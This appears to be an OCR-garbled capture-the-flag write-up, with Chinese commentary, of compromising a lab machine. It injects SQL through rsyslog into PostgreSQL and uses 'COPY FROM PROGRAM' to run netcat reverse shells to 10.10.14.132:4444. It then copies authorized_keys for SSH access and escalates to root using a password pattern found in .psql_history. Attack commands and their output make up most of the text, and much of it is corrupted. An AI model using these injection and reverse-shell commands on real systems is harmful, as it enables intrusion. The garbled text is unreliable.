=TW-Tr----- postgres adm 228 Aug 14 2019

royozetta: $ cat postgresql-11-main.log

2020-03-03 @0:59:30.993 EST [1036] postgresasyslog ERROR: | syntax error at or near "843" at cha
racter 145

2020-03-03 00:59:30.993 EST [1036] postgresasyslog STATEMENT: 1INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abed\',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY
cmd FROM PROGRAM 843nc -e /bin/sh 10.10.14.132 4444843 — -','2020-03-03 05:59:30")

2020-03-03 @0:59:31.007 EST [1109] postgresasyslog ERROR: syntax error at or near "843" at cha
racter 145

2020-03-03 00:59:31.007 EST [11@9] postgresasyslog STATEMENT: INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abed\',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY
cmd FROM PROGRAM 843nc -e /bin/sh 10.10.14.132 4444843; — -','2020-03-03 05:59:30")

2020-03-03 0@:59:31.019 EST [1110] postgresasyslog WARNING: the¥ﬁui§ﬂﬂﬁléfﬂﬂﬁ?FﬁﬂﬁgbE§QEEHSH¥f

5

Rl S B AR T, AR IRAHLE X, W

royozetta: $ logger -p local7.info "abed',null);CREATE TABLE IF NOT EXISTS cm
d(string text);COPY cmd FROM PROGRAM \$\$nc -e /bin/sh 10.10.14.132 &&&&\$\$; — -"

royazetta: $ 1s -1a

total 24

drwxrwxr-t 2 root postgres 4096 Mar 3 00:29 .

drwxr-xr-x 10 root root 4096 Mar 3 00:29

=rW-T=----= 1 postgres adm 1857 Mar 3 01:06 postgresql-11-main.log

=rW-Tr----- 1 postgres adm 390 Mar 3 00:29 postgresql-11-main.log.1

=rW-T=----= 1 postgres adm 229 Aug 27 2019

=rW-T----= 1 postgres adm 228 Aug 14 2019

royozetta: $ cat postgresql-11-main.log

sh: 1: nc: not found

2020-93-03 ©1:06:36.753 EST [1110] postgresasyslog ERROR: program "nc -e /bin/sh 10.18.14.132

4444" failed

2020-93-03 ©1:06:36.753 EST [1110] postgresasyslog DETAIL: |command not found

2020-93-03 ©1:06:36.753 EST [1110] postgresasyslog STATEMENT: INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abcd'’',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY

cmd FROM PROGRAM $$nc -e /bin/sh 10.10.14.132 4444%$$; — -','2020-03-03 06:06:36")

sh: 1: nc: not found

2020-03-03 ©1:06:36.776 EST [11808] postgresdsyslog ERROR: program "nc -e /bin/sh 10.18.14.132

4444" failed

=] l'll'
2020-03-03 ©1:06:36.776 EST [1180] postgresasyslog DETAIL: commahiPHyP! Pgrsfn-nevaq_32261191

KRR RLSQLIESR] 1, MRAFENCHT . IRJERnc AL 2 H ARk 5% #5/tmp H S M AERSEAT, Al




& $ logger -p lacal7.infa ,null).CREATE TARLE TF NOT EXISTS cm
d(strlng text);COPY cmd FROM PROGRAM \$\$/tmp/nc 10. 1a .14.132 4444 -e /bin/bash\$\$; — -"
royazetta: $£1s -1a
total 2&
drwxrwxr-t root postgres 4096 Mar 3 @©:29 |
drwxr-xr-x root root 4096 Mar 3 00:29
-rW-r----- postgres adm 1895 Mar 3 02:02 postgresql-11-main.log
-rW-r----- postgres adm 390 Mar 3 0©:29 postgresql-11-main.log.1
-rW-r----- postgres adm 229 Aug 27 2019

postgres adm 228 Aug 14 2019
I a: $ cat postgresql-11-main.log
sh: 1: /tmp/nc: not found
2020-03-03 02:02:37.098 EST [1764] postgresasyslog ERROR: program "/tmp/nc 10.10.14.132 4444 -
e /bin/bash" failed
2020-03-03 02:02:37.098 EST [1764] postgresfsyslog DETAIL: |command not found
2020-03-03 02:02:37.098 EST [1764] postgres@syslog STATEMENT: INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abcd\',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY
cmd FROM PROGRAM $$/tmp/nc 10.18.14.132 4444 -e /bin/bash$$; — -','2020-03-03 07:02:37')
sh: 1: /tmp/nc: not found
2020-03-03 02:02:37.117 EST [1854] postgresasyslog ERROR: program "/tmp/nc 10.10.14.132 4444 -
e /bin/bash" failed
2020-03-03 ©02:02:37.117 EST [1854] postgresfsyslog DETAIL: command not found
2020-03-03 02:02:37.117 EST [1854] postgresasyslog STATEMENT: INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abcd\',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY
cmd FROM PROGRAM $$/tmp/nc 10.10.14.132 4444 -e /fbin/bash$$; — -','2020-03-03 07:02: a7 )
2020-03-03 02:02:37.130 EST [1857] postgresasyslog WARNING: the*qn+s T qpﬁ?? .“'
s

ESE BRI AR B, HEFmp H R RS EAFENCE T 1, HAPITAR . 226 fHbash/x #ishellth ik
I, BRI ATREANE, AR50k /home/roy/.ssh/authorized_keys & il ll/var/lib/postgresql/.ssh H 3%
I\’ ﬁug]

$ logger -p local7.info "abcd',null);CREATE TABLE IF NOT EXISTS cm
d( trlnq text);COPY cmd FROM PROGRAM \$\$cp /home/roy/. ssh/authorlzed _keys /var/lib/postgresql/
ssh!authnrlzed _keys\$\$; ="
$ 1s -la
tntal 2@
drwxrwxr-t root postgres 4096 3 00:29 .
drwxr-xr-x root root 4996 3 00:29
=TW-T=---- postgres adm 5} 3 02:28 postgresql-11-main.log
=TW-T=---- postgres adm 390 3 00:29 postgresql-11-main.log.1
=TW-T=---- postgres adm 229 27 2019
=TW-T=---- postgres adm 228 14 2019

SRJRAE I _rsalE R RE L, an:

:~# ssh -1 id_rsa postgresgle.10.10.156
Linux zetta 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+debl@ul (2019-07-19) xB6_64

postgresdzetta:~$ id
uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
postgresazetta:~$ |

MIh 345 postgresiishell, SR )5 A 2 %A BRSO, k.



postgresizetta:~$ 1s -la
total 2@
drwxr-xr-x postgres postgres 4096
drwxr-xr-x root root 4996 oo
drwxr-xr-x postgres postgres 4096 11
Lrwxrwxruwx root root 9 .bash_history — /dev/null

postgres postgres 744 .psql_history

postgres postgres 4096 .ssh
postgresizetta:~$ cat .psql_history
CREATE DATABASE syslog;
\c syslog
CREATE TABLE syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt times
tamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smal
lint NULL, Priority smallint NULL, FromHost varchar(6@) NULL, Message text, NTSeverity int NULL
, Importance int NULL, EventSource varchar(6@), EventUser varchar(6@) NULL, EventCategory int N
ULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, Mi
nUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SyslLogTag varchar(6@), EventLogType v
archar(60), GenericFileName VarChar(6@0), SystemID int NULL);
\d syslog lines
ALTER USER postgres WITH PASSWORD 'sup3rs3cur3pé4assgpostgres’;
postgresazetta:~$ su root
Password:
su: Authentication failure
postgresazetta:~$ su root
Password:

>sdn.net/qq
rootazetta:/var/lib/postgresql# | dn.netiqq_

RIGEBEEIEFE G4, HIERE —17H — R CEN, Sl S gk, bR, A5 gn i s
ALTERIE®], JHMrootfH f* 114559 Aysup3rs3curdpdass@root, R Jo i 1% %5 il 1 & 5
th ok

VA= |
SPZEEN B E R mNAER, F RS BRI A8 9% (I TR o 25 5 I JEL R 1 1 U7 3 A

1. IPVBRIFXPAISE &
2. XroyH ;I B D1 R
3. Xfgitfir & A K

4. rsyslogfJSQLENA .

IR A ORI TR SR — RNOZ A . — RS e tiwii, AR RS, MR 2 IR R . X T
BERL BREREINE T, REeEWriteUpf B 1. AR 58 = kvl @, TR rsyslog i SQLIE A Jil t 5t A
B 7, (ERE BRI A L EE SO, RJRTEA ) e BT AR B - 5 2, dEimi 327 Jyroot
BUR
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